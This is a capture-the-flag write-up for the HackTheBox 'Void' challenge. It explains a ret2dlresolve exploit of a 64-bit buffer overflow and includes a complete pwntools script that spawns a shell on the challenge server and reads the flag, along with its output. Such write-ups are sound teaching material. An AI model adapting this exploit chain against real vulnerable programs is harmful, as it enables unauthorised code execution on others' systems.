Void
hackthebox
Task: Exploit a 64-bit binary with buffer overflow but no output functions (only read() in PLT). Solution: Use ret2dlresolve technique via pwntools Ret2dlresolvePayload to craft fake ELF dynamic linker structures that trick _dl_runtime_resolve into resolving system("/bin/sh"), bypassing the need for a libc leak.
Void - HackTheBox
Description
64-bit ELF binary with a simple buffer overflow vulnerability. The challenge is that there are no output functions (puts/printf/write) in the binary - only read(). This makes traditional libc leaking impossible.
Binary properties:
- 64-bit ELF
- No PIE (fixed addresses)
- No canary
- Partial RELRO (GOT is writable)
- NX enabled
Analysis
The vulnerable function is trivial:
void vuln() { char data[64]; read(0, data, 200); // reads 200 bytes into 64-byte buffer }
Offset calculation:
- Buffer: 64 bytes
- Saved RBP: 8 bytes
- Return address at offset: 72 bytes
The problem: Without output functions, we cannot leak libc addresses for a traditional ret2libc attack.
Failed Approaches
-
ret2csu + partial GOT overwrite to system() - Tried overwriting read@got with system using 3-byte partial overwrite. Theoretically should work but failed after 300+ attempts due to ASLR randomization.
-
ret2csu + one-gadget (0xc9611) - One-gadget constraints weren't satisfied in the execution context.
-
SROP - Too complex for this challenge, requires specific register setup.
Solution: ret2dlresolve
ret2dlresolve is the perfect technique when:
- No libc leak is possible (no output functions)
- Partial RELRO (GOT is writable)
- Have
read()to write arbitrary data to memory - No PIE (fixed addresses for structures)
How ret2dlresolve works
The dynamic linker resolves function addresses lazily. When a function is called for the first time, it goes through PLT -> GOT -> _dl_runtime_resolve(). We can craft fake structures (Elf64_Sym, Elf64_Rela) that tell the linker to resolve system instead of a legitimate function.
Exploit Strategy
- Use buffer overflow to execute ROP chain
- ROP chain calls
read(0, bss_area)to write our crafted dlresolve structures - Trigger ret2dlresolve to resolve
system("/bin/sh")
Working Exploit
#!/usr/bin/env python3 """ Void - HackTheBox PWN Challenge ret2dlresolve exploit This technique tricks the dynamic linker into resolving a function that is not linked to the binary (like system). """ from pwn import * import sys context.binary = "./challenge/void" context.log_level = "info" elf = context.binary # Build ret2dlresolve payload rop = ROP(elf) dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh\0"]) # ROP chain: # 1. read(0, dlresolve.data_addr) - read the dlresolve payload to memory # 2. ret (for stack alignment) # 3. ret2dlresolve - trigger the resolution and call system("/bin/sh") rop.read(0, dlresolve.data_addr) rop.raw(rop.ret[0]) # Stack alignment rop.ret2dlresolve(dlresolve) raw_rop = rop.chain() print(f"[*] ROP chain length: {len(raw_rop)}") print(f"[*] dlresolve payload length: {len(dlresolve.payload)}") print(f"[*] dlresolve data_addr: {hex(dlresolve.data_addr)}") # Connect if len(sys.argv) > 1 and sys.argv[1] == "local": p = elf.process() else: p = remote("83.136.250.108", 48538) # Send overflow + ROP chain # Offset to return address is 72 bytes (64 buffer + 8 saved rbp) payload = b"A" * 72 + raw_rop print(f"[*] Sending payload ({len(payload)} bytes)...") p.send(payload) sleep(0.5) # Send dlresolve payload (will be read by the read() call in ROP chain) print(f"[*] Sending dlresolve payload...") p.send(dlresolve.payload) sleep(0.5) print("[+] Trying to get shell...") p.sendline(b"id") sleep(0.5) try: response = p.recv(timeout=2) print(f"[+] Response: {response}") if b"uid" in response: print("[+] Got shell!") p.sendline(b"cat flag*") print(p.recv(timeout=2)) p.interactive() except: print("[-] No response, trying interactive...") p.interactive()
Execution Output
[*] ROP chain length: 88
[*] dlresolve payload length: 97
[*] dlresolve data_addr: 0x404e00
[+] Opening connection to 83.136.250.108 on port 48538: Done
[*] Sending payload (160 bytes)...
[*] Sending dlresolve payload...
[+] Response: b'uid=100(ctf) gid=101(ctf) groups=101(ctf)\n'
[+] Got shell!
b'HTB{pwnt00l5_h0mep4g3_15_u54ful}\n'
Key Indicators
Use ret2dlresolve when:
- No output functions available (puts/printf/write)
- Only
read()or similar input function in PLT - Partial RELRO (not Full RELRO)
- No PIE or PIE leak available
- Need to call functions not in PLT (like system)
Key Learnings
- ret2dlresolve is the go-to technique when there's no libc leak possible and only read() is available
- pwntools makes it trivial with
Ret2dlresolvePayloadclass - no need to manually craft ELF structures - The technique works because we can write arbitrary data to memory and the dynamic linker trusts the structures we craft
- Partial RELRO is key - Full RELRO would prevent this attack
References
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][Pro]Говори - и будет исполнено (ask_and_you_shall_receive)— hackerlab
- [pwn][Pro]Easy ROP— hackerlab
- [pwn][free]0xDiablos— hackthebox
- [pwn][Pro]rbp— spbctf
- [pwn][free]ReplaceMe— hackthebox